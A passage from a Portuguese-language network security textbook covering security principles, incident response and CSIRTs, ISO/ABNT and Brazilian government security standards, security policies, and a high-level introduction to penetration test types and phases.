que pode ser monitorado e controlado. Exemplos: praça de pedágio em uma estrada,
caixa de supermercado. Esse é o princípio utilizado pelos firewalls.

11 Default Deny e Default Permit Stance (Atitude de Bloqueio Padrão e Permissão


Padrão): atitude geral em relação à segurança. Na primeira (mais segura), tudo é
proibido, e o que é permitido deve ser expressamente definido. Na segunda, tudo é
permitido, e o que é proibido deve ser definido. Em sistemas seguros, deve-se buscar
sempre a primeira atitude (Default Deny), apesar de nem sempre ser possível. Para
o caso do acesso à internet por um navegador, seria viável bloquear toda a internet e
liberar apenas o que é permitido?

11 Universal Participation (Participação Universal): todos devem participar do processo


de segurança. Uma única pessoa que não participa do processo pode comprometer todo
o sistema. É importante lembrar que a segurança envolve pessoas, e que elas devem
estar envolvidas, motivadas e participando do processo.

11 Diversity of Defense (Diversidade de Defesa): utilizar diferentes sistemas e formas de


defesa, de modo que uma vulnerabilidade em um sistema pode não estar presente em outros.
Certo cuidado deve ser tomado para não recair em um dos problemas listados a seguir.

11 Inherent Weaknesses (Fraquezas Inerentes): sistemas de um mesmo tipo podem


sofrer da mesma fraqueza inerente a esse tipo de sistema. Exemplos: falha de conceito
ou falha de um protocolo com implementação comum.
Capítulo 1 - Fundamentos de segurança

11 Common Configuration (Configuração Comum): sistemas diferentes configurados por


uma mesma pessoa ou grupo podem sofrer de problemas semelhantes de configuração.

11 Common Heritage (Herança Comum): sistemas de fabricantes diferentes podem usar


componentes comuns e consequentemente terem as mesmas falhas.

11 Weakest Link (Elo Mais Fraco): corresponde ao ponto mais fraco das suas defesas. As
suas defesas são tão fortes quanto o ponto mais fraco. Este deve ser eliminado quando
possível, ou ser forte o suficiente para desencorajar ataques. Muitos atacantes vão pro-
curar o ponto mais fraco da sua rede, tentando atacar a rede a partir dele. Pontos fracos
da rede devem ser constantemente monitorados quando não puderem ser eliminados.

5
11 Fail Safe (Falha Segura): os sistemas, em caso de falha, devem sempre fazê-lo de modo
a inibir qualquer tipo de acesso. O prejuízo da falta de acesso é preferível ao acesso libe-
rado de forma irrestrita em caso de falha.

11 Simplicity (Simplicidade): manter o ambiente simples. A complexidade esconde


potenciais problemas de segurança. Interfaces gráficas, gerenciadores centralizados
e sistemas com configurações simples são alguns exemplos desse princípio. Porém,
deve-se tomar cuidado com o excesso de simplicidade. Um simples botão na ferramenta
com os dizeres “torne meu sistema seguro” pode não ser adequado. Os sistemas devem
ter um mínimo de parametrização, pois cada ambiente possui suas peculiaridades.

Exercício de fixação 1 e
Conceitos
Explique com suas palavras o que é Defesa em Profundidade e como ela pode ser aplicada
em sua organização.

O que é o Elo mais Fraco? Dê um exemplo na sua organização.

Processo de Tratamento de Resposta a Incidentes


De acordo com o Cert.br, um incidente de segurança pode ser definido como qualquer evento
adverso, confirmado ou sob suspeita, relacionado à segurança de sistemas de computação ou
de redes de computadores. Em geral, toda situação na qual uma entidade de informação corre
riscos pode ser considerada um incidente de segurança. No entanto, cada organização deve
definir o que, em relação aos seus sistemas, para ela pode vir a ser um incidente de segurança.
Em alguns casos, organizações podem classificar como incidentes de segurança qualquer ato
que possa não estar em conformidade com a política de segurança adotada pela instituição.

Todo incidente ocorrido na organização deve ser tratado de acordo com uma metodologia
definida previamente. Assim, para atender ao processo de resposta a incidentes de segurança,
a organização deve elaborar uma metodologia visando gerenciar consequências de uma
quebra de segurança. Seu principal objetivo é minimizar o impacto causado por um incidente
e possibilitar o restabelecimento dos serviços no mais curto espaço de tempo possível.

O fenômeno de ataques na internet não é um fato novo: no fim da década de 80 o incidente


conhecido como “Internet Worm” resultou em um incidente que paralisou centenas de
Segurança de Redes e Sistemas

sistemas na internet. Após esse problema, alguns grupos se reuniram para discutir os rumos
da segurança na internet. Essa reunião resultou, mais tarde, na criação do CERT Coordination
Center (Center of Emergency Response Team). Um Centro de Resposta a Incidentes, o CERT foi
uma das primeiras organizações do tipo CSIRT (Computer Security Incident Response Team).

Com o crescimento da internet, em meados de 1996, esses ataques provocam prejuízos


que vão desde a perda de milhares de dólares até o que ocorreu há alguns anos na
Europa, onde de acordo com a agência de notícias Reuters, a internet em um país parou de
funcionar após ataques.

6
Conforme informado pela IFCC (Internet Fraud Complaint Center), uma parceria entre o FBI
e o Centro Nacional de Crimes do Colarinho Branco dos Estados Unidos, entre maio de 2000
e maio de 2001, em seu primeiro ano de funcionamento, foram registrados 30.503 casos de
fraudes na internet, registros colhidos apenas no site da IFCC.

Segundo o Cert.br, um CSIRT (ou Grupo de Resposta a Incidentes de Segurança) é uma orga-
nização responsável por receber, analisar e responder a notificações e atividades relacio-
nadas a incidentes de segurança em computadores. Normalmente, um grupo de resposta
a incidentes pode ser um grupo dentro da própria instituição trabalhando exclusivamente
para a resposta a incidentes dos serviços prestados pela empresa ou pode trabalhar na
forma de comunidade, auxiliando várias instituições e produzindo estatísticas e relatórios
que beneficiam todo um grupo ou mesmo um país (Cert.br 2007).

Um CSIRT pode agir de várias maneiras dentro da empresa, de acordo com a importância de
seus serviços. Um grupo pode estar ligado diretamente à alta administração da empresa,
de maneira que possa intervir e alterar os processos da instituição, mas também pode agir
apenas como orientador de processos, não estando diretamente envolvido com a tomada
de decisões de segurança (CSIRT Handbook 2003).

Ataques a sistemas computacionais visam comprometer os requisitos de segurança de uma


organização. Esses ataques têm dois tipos de perfil: ativo, onde o atacante faz alguma ação
para obter o resultado esperado, e passivo, onde o atacante utiliza-se de ferramentas para
obter os dados referentes ao alvo.

De acordo com o Cert.br, um CSIRT pode exercer tanto funções reativas quanto funções
proativas para auxiliar na proteção e segurança dos recursos críticos de uma organização.
Não existe um conjunto padronizado de funções ou serviços providos por um CSIRT. Cada
time escolhe seus serviços com base nas necessidades da sua organização e da comunidade
a quem ele atende.

Ciclo de vida de um incidente


A segurança de uma organização sempre estará sujeita a incidentes, como todas as
outras áreas. Os fatores são os mais diversos, desde ameaças não intencionais causadas
por usuários comuns até ameaças técnicas organizadas. Para uma organização é de vital
importância que os incidentes sejam tratados corretamente, e para isso se faz necessário
entender como funciona o ciclo de vida de um incidente.

De acordo com o Instituto de Engenharia de Software da Carnegie Mellon University,


responsável pelo Cert.org, podemos classificar o ciclo de vida de um incidente em quatro
estágios (CSIRT Handbook 2003), conforme veremos a seguir.
Capítulo 1 - Fundamentos de segurança

Estágio 1 – Preparação dos processos


O início do ciclo de vida de um incidente começa antes do próprio incidente. É necessária a
elaboração de processos e procedimentos para a correta ação empregada contra ameaças e
vulnerabilidades possíveis à organização. É importante que todos os processos empregados
sejam testados e aperfeiçoados. Esses processos têm por finalidade o correto emprego dos
recursos para a resposta a incidentes.

7
Estágio 2 – Gerenciamento de riscos
Por meio de ações corretivas e preventivas de ameaças existentes, pois estas são um fator
intrínseco dentro de uma organização. O gerenciamento de riscos é muito importante e
deve ser um processo contínuo dentro de uma organização, desenvolvendo medidas de
segurança e calculando seu impacto para cada uma das etapas de um ciclo de incidentes.

Estágio 3 – Triagem
O método de recepção de todo e qualquer indício de incidente é de suma importância, pois
é com uma correta triagem da informação que se inicia todo o processo de catalogação e
resposta ao incidente. Os grupos de resposta a incidentes comumente informam apenas
um meio de contato ou “hotline”, seja para um grupo de resposta de âmbito nacional,
privado ou mesmo dentro da organização. Essa triagem é importante para a aplicação
correta do controle de segurança da informação impactado pelo incidente. Normalmente,
esse controle também é atribuído a um gerente de incidente, profissional especializado no
problema que estará à frente do incidente até a sua resolução.

Estágio 4 – Resposta a incidentes


Quando um incidente já passou pela triagem, ele é submetido ao plano de resposta a
incidentes da organização. Nesse ponto, atividades anômalas são facilmente detectadas
e a adoção de medidas apropriadas pode rapidamente identificar sistemas afetados,
dimensionando o montante do prejuízo.

Grupos de resposta a incidentes


O maior desafio para os profissionais de segurança dos dias atuais é a gestão de uma
complexa infraestrutura de comunicação de dados da internet, seu gerenciamento e
manutenção. Na maioria das organizações, as equipes de profissionais em rede não contam
com pessoal em quantidade suficiente para atender à demanda crescente de otimização
de sistemas, atualização incessante de programas para minimizar riscos e defenderem-se
contra ataques dos mais variados tipos. Esse cenário se torna pior à medida que surgem
novas ferramentas de ataques, malwares, toolkits e a crescente organização de grupos que
visam à paralisação e o roubo de dados na rede mundial de computadores.

Nesse contexto, e para atender à necessidade de resposta a incidentes, surgem os grupos de


resposta a incidentes, cujo objetivo é responder de maneira rápida e efetiva a essas ameaças. Esse
grupo tem como objetivo desenvolver meios para identificar, analisar e responder a incidentes
que venham a ocorrer, minimizando prejuízos e reduzindo seus custos de recuperação.

Os grupos de resposta a incidentes geralmente trabalham em duas frentes,


prevenção e resposta.
Segurança de Redes e Sistemas

Prevenção
Caracterizam-se como serviços proativos os serviços onde o grupo procura se antecipar
aos problemas de maneira a preveni-los, gerando uma base de conhecimento para
futura pesquisa. Dentre as principais atividades de prevenção destacam-se a auditoria de
segurança e o treinamento e orientação a usuários.

8
Auditoria de segurança

A auditoria de segurança dentro de uma empresa visa submeter seus ativos a uma análise
de segurança com base nos requisitos definidos pela organização ou por normas internacio-
nais. Também pode implicar na revisão das práticas organizacionais da empresa, bem como
testes em toda a sua infraestrutura. Nos dois últimos módulos deste treinamento, será
abordado o processo de hardening para servidores Linux e Windows. Uma vez aprovado um
processo de hardening, este pode ser utilizado para auditar a segurança de um ambiente, já
que nesse documento encontra-se a configuração mínima recomendada para um ativo.

Treinamento e orientação a usuários

Uma das funções de um CSIRT também é a promoção de palestras e workshops sobre segu-
rança dentro de uma organização. Essas palestras têm o intuito de informar aos usuários as
políticas de seguranças vigentes e como se proteger de vários ataques, principalmente de
engenharia reversa.

Disseminação de informação relacionada à segurança

A disseminação de informação é primordial para o sucesso de um grupo de resposta


a incidentes. Essa disseminação pode ocorrer tanto dentro da organização, através de
documentos e boletins internos, como com a confecção de artigos para distribuição para
outros órgãos externos à empresa.

Monitoração de novas tecnologias

Um Grupo de Resposta a Incidentes monitora novos desenvolvimentos técnicos de ataques


para ajudar a identificar novas tendências de futuras ameaças. Esse serviço envolve a leitura
de fóruns e listas de discussão, sites e revistas especializadas.

Resposta
Os serviços reativos englobam atividades que são realizadas após algum evento ou
requisição dentro da organização. Baseiam-se em análises de logs e produção de relatórios
em função de alguma detecção de atividade maliciosa. Dentre as principais atividades de
resposta a incidentes, podemos destacar as seguintes.

Tratamento de incidentes

Segundo Chuvakin e Peikari, autores do livro Security Warrior, uma reposta a incidente é
um processo de identificação, contenção, erradicação e recuperação de um incidente de
computador, realizado pelo time de segurança responsável.

O tratamento de incidentes é a principal atividade de um time de resposta a incidentes.


São os incidentes que vão gerar todo o processo de identificação, classificação e tomada de
Capítulo 1 - Fundamentos de segurança

decisão sobre quais procedimentos tomar para sanar o problema, quantas vezes o pro-
blema foi constatado dentro de um período, qual o impacto causado pelo incidente e se este
obteve ou não sucesso.

Tratamento de vulnerabilidades

O tratamento de vulnerabilidades visa submeter os sistemas a uma auditoria a fim de saber


quais suas fraquezas e como preveni-las através de mitigação de alguns serviços.

Essa metodologia está diretamente ligada à criação do plano de continuidade de negócios


dentro de uma organização, pois através das avaliações feitas é possível fazer uma análise
de risco e impacto para as vulnerabilidades encontradas.

9
Qualidade de serviços de segurança

A qualidade dos serviços de segurança proporciona aumento na experiência adquirida


na prestação de serviços proativos e reativos descritos anteriormente. Esses serviços são
concebidos para incorporar os feedbacks e as lições aprendidas com base no conhecimento
adquirido por responder a incidentes, vulnerabilidades e ataques.

Parte de um processo de gestão da qualidade da segurança pode melhorar a segurança em


longo prazo, gerando base de dados de incidentes e suas propostas para solução.

Consultoria em segurança

Um CSIRT pode ser utilizado para fornecer aconselhamento sobre as melhores práticas de
segurança, principalmente dentro de um ambiente militar. Esse serviço pode ser utilizado
na preparação de recomendações ou identificando requisitos para a aquisição, instalação
ou obtenção de novos sistemas, dispositivos de rede, aplicações de software ou criação
de processos. Esse serviço inclui proporcionar orientação e ajuda no desenvolvimento
organizacional ou no círculo de políticas de segurança. Ele pode também envolver o
aconselhamento às normas legais legislativas ou de outros órgãos governamentais.

Análise de riscos

Um Grupo de Resposta a Incidentes pode ser capaz de acrescentar valor à análise de risco
e avaliações. Isso pode melhorar a capacidade da organização para avaliar ameaças reais,
fornecer avaliações qualitativas e quantitativas dos riscos para os ativos da organização e
avaliar estratégias para melhor defesa.

Planejamento e recuperação de desastres

Com base em ocorrências anteriores e futuras previsões de tendências emergentes de


incidentes de segurança, pode-se afirmar que quanto mais os sistemas de informação
evoluem, mais aumenta a chance de acontecer um incidente. Por isso, o planejamento deve
considerar os esforços e experiências passadas de um CSIRT.

Recomendações para determinar a melhor forma de responder a esses incidentes para


garantir a continuidade das operações comerciais devem ser uma prioridade para a
organização. Grupos realizando esse serviço estão envolvidos em continuidade de negócios
e recuperação de desastres, planejamento de eventos relacionados com a segurança
informática e ameaças ataques.

Exercício de fixação 2 e
Processo de tratamento de incidentes
Explique os estágios do ciclo de vida de um incidente.
Segurança de Redes e Sistemas

Exercício de fixação 3 e
Grupo de resposta a incidentes
O que é prevenção e como ela é feita na sua organização?

10
Normas ISO/ABNT
Um dos primeiros documentos criados para fins de normatização em meios computacionais
foi o Security Control for Computers Systems, publicado em 11 de fevereiro de 1970
pela RAND Corporation (empresa norte-americana sem fins lucrativos especializada
em assessoria de investigação e análise, fundada em 1948), que marcou o início da
criação de um conjunto de regras para a segurança de computadores. Mais tarde, o DoD
(Departamento de Defesa dos Estados Unidos) publicou o Orange Book, conhecido também
como Trusted Computer Evalution Criteria. Publicado inicialmente em 1978, em forma de
um rascunho, foi finalizado em 1985. O Orange Book, mesmo sendo um documento já
ultrapassado, marcou o início da busca por um conjunto de regras para a avaliação de um
ambiente computacional seguro.

Em 1987, o DTI (Departamento de Comércio e Indústria do Reino Unido) criou um centro


de segurança de informações que, entre suas atribuições, estava a de criar uma norma de
segurança das informações do Reino Unido. Até 1988, vários documentos foram publicados.
Em 1995, esse centro, denominado Commercial Computer Security Centre (CCSC), junta-
mente com o grupo britânico BSI, lança o BS7799:1995, Gestão de Segurança da Informação.

Código de prática para sistemas de informação de gestão de segurança, essa norma é divida em
duas partes: uma homologada em 2000. A outra, em 2002. É a base para a gestão de segurança
da informação usada por entidades de metodologia de gestão da segurança da informação
focada nos princípios básicos da segurança: Confidencialidade, Integridade e Disponibilidade.

Em dezembro de 2000, a ISO (International Organization of Standadization) internaciona-


lizou a norma BS17799, criando a ISO/IEC 17799:2000, uma norma abrangente e interna-
cional voltada para a gestão de segurança da informação.

O objetivo dessa norma era criar um conjunto de regras para assegurar a continuidade do
negócio e minimizar prejuízos empresariais, reduzindo o impacto causado por incidentes de
segurança. As normas da ISO baseadas em segurança da informação foram atualizadas e
agrupadas na família de numeração 27000.

A ABNT (Associação Brasileira de Normas Técnicas) publicou uma série de normas baseadas
na ISO, traduzidas para o português.

11 ABNT NBR ISO/IEC 27001:2013 – Tecnologia da Informação – Técnicas de segurança –


Sistema de gestão da segurança da informação – Requisitos. Versão atual da BS7799
parte 2. Essa norma especifica os requisitos para estabelecer, implementar, operar,
monitorar, analisar criticamente, manter e melhorar um Sistema de Gestão da Segurança
da Informação (SGSI) documentado dentro do contexto dos riscos de negócio globais da
organização. Essa norma especifica requisitos para implementar os controles de segu-
Capítulo 1 - Fundamentos de segurança

rança personalizados para as necessidades individuais de organizações ou suas partes.

11 ABNT NBR ISO/IEC 27002:2013 – Tecnologia da Informação – Técnicas de segurança –


Código de prática para a gestão de segurança da informação. Versão atual da ISO/IEC
17799. Essa norma estabelece diretrizes e princípios gerais para iniciar, implementar,
manter e melhorar a gestão de segurança da informação em uma organização. Os obje-
tivos definidos nessa norma proveem diretrizes gerais sobre as metas geralmente aceitas
para a gestão de segurança da informação.

11
11 ABNT NBR ISO/IEC 27003:2011 – Tecnologia da Informação – Técnicas de segurança –
Diretrizes para implantação de um sistema de gestão da segurança da informação. Essa
norma tem como foco os aspectos críticos necessários para a implantação e o projeto
bem-sucedido de um Sistema de Gestão da Segurança da Informação (SGSI), de acordo
com a norma ABNT NBR ISO/IEC 27001:2013. A norma descreve o processo de especifi-
cação e projeto do SGSI desde a sua concepção até a elaboração dos planos de implan-
tação. Ela descreve o processo de obtenção de aprovação da direção para implementar
um SGSI e fornece diretrizes sobre como planejar o projeto do SGSI.

11 ABNT NBR ISO/IEC 27004:2017 – Tecnologia da Informação – Técnicas de segurança –


Sistemas de gestão da segurança da informação – Monitoramento, medição, análise e
avaliação. Esse documento fornece orientações que têm como objetivo auxiliar as organi-
zações a avaliarem o desempenho da segurança da informação e a eficácia do SGSI a fim
de atender aos requisitos da ABNT NBR ISO/IEC 27001:2013.

11 ABNT NBR ISO/IEC 27005:2011 – Tecnologia da Informação – Técnicas de segurança –


Gestão de riscos de segurança da informação. Essa norma fornece diretrizes para o
processo de gestão de riscos e segurança da informação. Norma criada para apoiar
o entendimento das especificações e conceitos estabelecidos pela norma ABNT NBR
ISO/IEC 27001:2013.

11 ABNT NBR ISO/IEC 27007:2018 – Tecnologia da Informação – Técnicas de segurança –


Gestão de riscos de segurança da informação. Essa norma fornece diretrizes sobre como
gerenciar um programa de auditoria de sistemas de gestão da segurança da informação
(SGSI), sobre como executar as auditorias e sobre a competência dos auditores de SGSI,
em complemento às diretrizes descritas na ABNT NBR ISO 19011:2012.

Para aqueles que desejarem mais informação sobre esse assunto, logo a seguir são listadas
as principais normas sobre segurança da informação:

11 ISO/IEC 27000: Information security management systems – Overview and vocabulary.

11 ISO/IEC 27003: Information security management system implementation guidance.

11 ISO/IEC 27004: Information security management measurements.

11 ISO/IEC 27006: Requirements for bodies providing audit and certification of information
security management systems.

11 ISO/IEC 9797-1: Message Authentication Codes (MACs) – Part 1: Mechanisms using a


block cipher.

11 ISO/IEC 9798-1: Entity authentication – Part 1: General.

11 ISO/IEC 9979: Procedures for the registration of cryptographic algorithms.

11 ISO/IEC 10118-1: Hashfunctions – Part 1: General.

11 ISO/IEC 11770-1: Key management – Part 1: Framework.

11 ISO/IEC 15846-1: Cryptographic techniques based on elliptic curves – Part 1: General.


Segurança de Redes e Sistemas

11 ISO/IEC 18033-3: Encryption algorithms – Part 3: Block ciphers.

11 ISO/IEC 15408-1: Evaluation criteria for IT security – Part 1: Introduction and general model.

11 ISO/IEC 15408-2: Evaluation criteria for IT security – Part 2: Security functional.

11 ISO/IEC 15408-3: Evaluation criteria for IT security – Part 3: Security assurance.

11 ISO/IEC 15443-1: A framework for IT Security assurance – Part 1: Overview and framework.

11 ISO/IEC 15443-2: A framework for IT Security assurance – Part 2: Assurance Methods.

12
11 ISO/IEC 15443-3: A framework for IT Security assurance – Part 2: Analysis of
Assurance Methods.

11 ISO/IEC 18045: A framework for IT Security assurance – Methodology for IT


Security Evaluation.

11 ISO/IEC 18043: Selection, deployment and operations of intrusion detection systems.

11 ISO/IEC 18044: Information security incident management.

11 ISO/IEC 24762: Guidelines for information and communications technology disaster


recovery services.

11 ISO/IEC 27033-1: Network Security – Part 1: Guidelines for network security.

11 ISO/IEC 27034-1: Guidelines for Application Security – Part 1: Overview and Concepts.

11 ISO/IEC 24760: A framework for identity management.

11 ISO/IEC 29100: A privacy framework.

11 ISO/IEC 29101: A privacy reference architecture.

11 ISO/IEC 29115: Entity authentication assurance.

Políticas de segurança
A Política de Segurança da Informação e Comunicações (POSIC) é o documento mais impor-
tante de uma organização quando se trata de Segurança da Informação. Nela estão todas as
diretrizes, recomendações e deveres de todos. O profissional de segurança deve conhecer
bem a política de segurança da sua instituição e deve balizar todo o trabalho em cima dela.

Outras políticas associadas à POSIC tratam de assuntos mais específicos, como por exemplo:

11 Política de Uso Aceitável (PUA).

11 Política de Controle de Acesso (PCA).

11 Plano de Continuidade de Negócio (PCN).

11 Política de Senhas.

11 Política de Salvaguarda (backup).

Esse assunto não faz parte diretamente do escopo deste curso, porém é importante
conhecer todas as políticas e legislações do órgão em que se está implantando uma solução
de segurança, pois elas podem impactar diretamente no que pode ou não ser feito, nas
punições para o descumprimento da política e nos responsáveis pelas informações e
recursos computacionais. A norma ABNT NBR ISO/IEC 27001 possui um capítulo inteira-
mente dedicado às políticas de segurança.

Para aqueles que desejarem continuar seus estudos em políticas de segurança, visto que
Capítulo 1 - Fundamentos de segurança

não é o objetivo principal deste curso, o instituto SANS (sans.org) oferece um modelo
padrão de política de segurança que poderá ser adaptado e utilizado em qualquer
ambiente computacional.

No âmbito do Governo Federal, o Gabinete de Segurança Institucional (GSI) da Presidência


da República, através do Departamento de Segurança da Informação e Comunicações,
publicou uma série de instruções normativas com o objetivo de orientar a administração
pública em diversas questões da Segurança da Informação.

13
Normas DSIC/GSIPR:

11 Norma Complementar nº 01/IN01/DSIC/GSIPR: Atividade de Normatização.

11 Norma Complementar nº 02/IN01/DSIC/GSIPR: Metodologia de Gestão de Segurança da


Informação e Comunicações.

11 Norma Complementar nº 03/IN01/DSIC/GSIPR: Diretrizes para a Elaboração de Política


de Segurança da Informação e Comunicações nos Órgãos e Entidades da Administração
Pública Federal.

11 Norma Complementar nº 04/IN01/DSIC/GSIPR e seu anexo, Diretrizes para o Processo


de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) nos órgãos e
entidades da Administração Pública Federal.

11 Norma Complementar nº 05/IN01/DSIC/GSIPR e seu anexo, Disciplina e Criação de


Equipes de Tratamento e Respostas a Incidentes em Redes Computacionais (ETIR) nos
órgãos e entidades da Administração Pública Federal.

11 Norma Complementar nº 06/IN01/DSIC/GSIPR: Diretrizes para a Gestão de Continuidade


de Negócios, nos aspectos relacionados à Segurança da Informação e Comunicações, nos
órgãos e entidades da Administração Pública Federal, direta e indireta (APF).

Em especial foi publicada a Instrução Normativa IN01-GSI/PR, que define orientações para
a Gestão de Segurança da Informação e Comunicações na Administração Pública Federal, e
algumas Normas Complementares:

11 Norma Complementar nº 01/IN01/DSIC/GSIPR – atividade de normatização, que tem


como objetivo estabelecer critérios e procedimentos para a elaboração, atualização, alte-
ração, aprovação e publicação de normas complementares sobre gestão de segurança da
informação e comunicações, no âmbito da Administração Pública Federal.

11 Norma Complementar nº 02/IN01/DSIC/GSIPR – metodologia de Gestão de Segurança


da Informação e Comunicações utilizada pelos órgãos e entidades da Administração
Pública Federal.

11 Norma Complementar nº 03/IN01/DSIC/GSIPR – estabelece diretrizes, critérios e pro-


cedimentos para a elaboração, institucionalização, divulgação e atualização da Política de
Segurança da Informação e Comunicações (POSIC) nos órgãos e entidades da Adminis-
tração Pública Federal.

11 Norma Complementar nº 04/IN01/DSIC/GSIPR – estabelece diretrizes para o processo


de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) considerando
prioritariamente os objetivos estratégicos, os processos e requisitos legais, e a estrutura
dos órgãos ou entidades da Administração Pública Federal.

11 Norma Complementar nº 06/IN01/DSIC/GSIPR – estabelece diretrizes para Gestão


da Continuidade de Negócios, nos aspectos relacionados à Segurança da Informação e
Comunicações, nos órgãos e entidades da Administração Pública Federal.
Segurança de Redes e Sistemas

11 Norma Complementar nº 07/IN01/DSIC/GSIPR – estabelece diretrizes para imple-


mentação de controles de acesso relativos à Segurança da Informação e Comunicações,
abrangendo a criação de contas de usuários, rede corporativa de computadores e ativos
de informação. Essa norma contempla inclusive um anexo com um modelo de termo de
responsabilidade a ser utilizado pelos utilizadores dos meios computacionais da entidade.

11 Norma Complementar nº 08/IN01/DSIC/GSIPR – disciplina o gerenciamento de Inci-


dentes de Segurança em Redes de Computadores realizado pelas equipes de Tratamento
e Resposta a Incidentes de Segurança em Redes Computacionais (ETIR) nos órgãos e
entidades da APF (Administração Pública Federal).

14
11 Norma Complementar nº 09/IN01/DSIC/GSIPR – estabelece orientações para o uso
de recursos criptográficos como ferramenta de controle de acesso em Segurança da
Informação e Comunicações, nos órgãos ou entidades da Administração Pública Federal,
informando principalmente as responsabilidades tanto dos gestores de Segurança da
Informação quanto do agente público que utilize esse recurso.

As normas do DSIC/GSIPR são públicas e podem ser obtidas no site do DSIC:


http://dsic.planalto.gov.br.

Mesmo para empresas privadas ou outras entidades, as normas podem servir como
um bom embasamento para a criação da política de segurança, do grupo de resposta a
incidentes de segurança ou do processo de gestão de riscos. Para a comodidade do aluno,
o item 6 consta a NC 03, que trata de diretrizes para a elaboração de uma política de
segurança (POSIC).

É possível encontrar na web diversas políticas de segurança completas publicadas por


órgãos públicos brasileiros. Um exemplo seria a Portaria/Incra/P/N° 70, de 29/03/2006
(DOU nº 62, de 30 de março de 2006).

Exercício de fixação 4 e
Políticas de segurança
O que é política de segurança? Ela existe na sua organização?

Planejando uma rede segura


A etapa de planejamento é talvez a mais importante na construção de um ambiente de rede
seguro ou na adição de segurança a um ambiente existente. Nessa etapa o profissional vai
obter uma visão geral do que está sendo pretendido, além de dividir a execução em etapas
bem definidas. Recomenda-se que seja elaborado um documento com a descrição de tudo
o que será executado, incluindo prazos, de modo que esse documento seja validado e apro-
vado antes de se iniciar a etapa de execução.

No planejamento, deve ser definida uma série de questões, como por exemplo:

11 Topologia da rede em questão.

11 Servidores e serviços públicos na internet.


Capítulo 1 - Fundamentos de segurança

11 Servidores e serviços na intranet.

11 Interligação com outras instituições e redes, como extranet.

11 Acesso remoto.

11 Tecnologias de segurança.

11 Mecanismos de proteção da rede.

11 Salvaguarda de informações.

O ISECOM (Institute for Security and Open Methodologies), Instituto para Segurança e
Metodologias Abertas, é uma comunidade colaborativa sem fins lucrativos que desde 2001

15
dedica-se a fornecer práticas de conscientização, pesquisa e certificação open source na
área de segurança de redes. É responsável pela publicação do OSSTMM (Open Source
Security Testing Methodology Manual), Manual de Código Aberto Sobre Metodologias de
Testes de Segurança.

Nesse manual são abordados todos os aspectos a serem levados em consideração para a
execução de um teste de segurança em um sistema computacional. São abordados temas
importantes, como métricas de segurança, metodologias para melhorar a segurança física
de redes, conexões sem fio e comunicações eletrônicas.

Nos capítulos seguintes, serão vistas as tecnologias e técnicas de segurança existentes, para
que o profissional as conheça e seja capaz de realizar e implementar o planejamento de uma
solução de segurança para redes de computadores.

Todas as ferramentas de segurança apresentadas são baseadas em software livre, porém Software livre
os conceitos são genéricos e se aplicam a outras ferramentas, comerciais ou não, existentes Qualquer programa de
computador que pode
no mercado.
ser usado, copiado,
estudado e redistri-
buído sem restrições.
Segurança de Redes e Sistemas

16
2
Explorando vulnerabilidades
em redes
objetivos

Compreender o funcionamento dos ataques Denial of Service (DoS), SYN flood, smurf,
varredura, ARP poison, connection hijacking, sequence prediction attack, buffer
overflow e fraggle.

conceitos
Packet Sniffing, ARP Spoofing, IP Spoofing e fragmentação de pacotes IP.

Introdução
Com a popularização da internet, as redes de computadores passaram a usar o protocolo
TCP/IP em quase sua totalidade. Esse protocolo, apesar de ser um padrão “de fato”, é um
protocolo antigo, desenvolvido na década de 60. Nessa época, havia pouca preocupação
com segurança, visto que as redes eram restritas e controladas. Hoje existem diversas
vulnerabilidades conhecidas nesses protocolos de rede. A seguir, discutiremos algumas
dessas vulnerabilidades.

Porém, para compreendê-las, será necessário um conhecimento sobre a família


de protocolos TCP/IP. Caso tenha dúvidas ou necessite revisar seu conhecimento,
recomenda-se consultar o material do curso Introdução à Segurança de Redes, oferecido
pela Escola Superior de Redes.

Capítulo 2 - Explorando vulnerabilidades em redes


Exercício de nivelamento 1 e
Explorando vulnerabilidades em redes
O que é o protocolo TCP/IP?

Como funciona o protocolo TCP/IP?

17
Penetration Test
Um teste de penetração consiste em apurar o quão difícil é invadir uma rede de
computadores. Objetivamente falando, um teste de invasão ou Penetration Test é uma
busca e identificação de vulnerabilidades em uma rede ou sistema computacional. A forma
de elaboração de um teste pode variar, desde determinar um breve panorama de segurança
da infraestrutura de uma empresa, até o que se pode chamar de inspeção profunda, com o
objetivo de obter informações específicas sobre um ativo de uma organização.

Um teste de penetração pode revelar:

11 Que tipo de informação pode ser obtida fora da organização, ou seja, sem
necessariamente se conectar à rede da empresa ou acessá-la fisicamente.

11 Como os sistemas reagem a um ataque.

11 Se é possível acessar o sistema com informações disponíveis ou já existentes.

11 Informações que possam se tornar acessíveis em caso de pane no sistema.

Naturalmente, o objetivo de um pentest é investigar o sistema do ponto de vista do


atacante, identificando exposições de risco antes de se procurar uma solução.

Testes de penetração
Existem três tipos de abordagens para teste de penetração:

Teste de penetração zero


Mais conhecido como BlackBox, onde o grupo de teste não tem nenhuma informação real
sobre o alvo e deve começar com a coleta de informações. Esse tipo de teste foi projetado
para oferecer o teste de penetração mais realístico possível.

Teste de penetração parcial


Mais conhecido como Grey Box. A organização-alvo fornece à equipe de testes informações
sobre o que provavelmente um atacante motivado pode encontrar. Um teste de penetração
parcial também pode ser escolhido se o objetivo for testar um novo tipo de ataque ou
mesmo se a equipe quer focar em um host específico da empresa. Para esse tipo de teste é
necessário que sejam fornecidos documentos sobre topologia de rede, política de segu-
rança, inventário de ativos e outras informações valiosas.

Teste de conhecimento
Também conhecido como White Box. A equipe detém muita informação sobre a
infraestrutura e sobre os sistemas-alvo. Nesse caso, o teste visa simular um atacante que
possui um conhecimento íntimo da organização-alvo.

Técnicas de ataque
Segurança de Redes e Sistemas

Uma descrição compreensiva de técnicas de ataque é fundamental para evitar danos ou


minimizar a perda de informações nos sistemas da organização. Normalmente utilizamos
uma metodologia de penetração baseada em fases que vão evoluindo ao longo do processo.

Fase de descoberta
Coleta de informações na organização-alvo através de servidores de sites e de correio, regis-
tros públicos e bancos de dados (endereços e nomes de registros, DNS, Whois, logs etc.).

18
Também podemos pesquisar em bases públicas de informações, como o Google, Facebook,
LinkedIn e Netcraft. Também conhecida como fase de levantamento passivo de informações.

Fase de enumeração
Fase onde a equipe de testes tenta exaustivamente obter informações, como nomes de
usuários, informações sobre compartilhamentos de rede, informações sobre aplicativos,
plataformas, infraestrutura onde estão hospedados e versões dos serviços em execução.
São úteis nesse processo ferramentas de enumeração de protocolos (DNS, SNMP, SMTP ou
SMB), bem como de port scanning.

Fase de mapeamento de vulnerabilidades


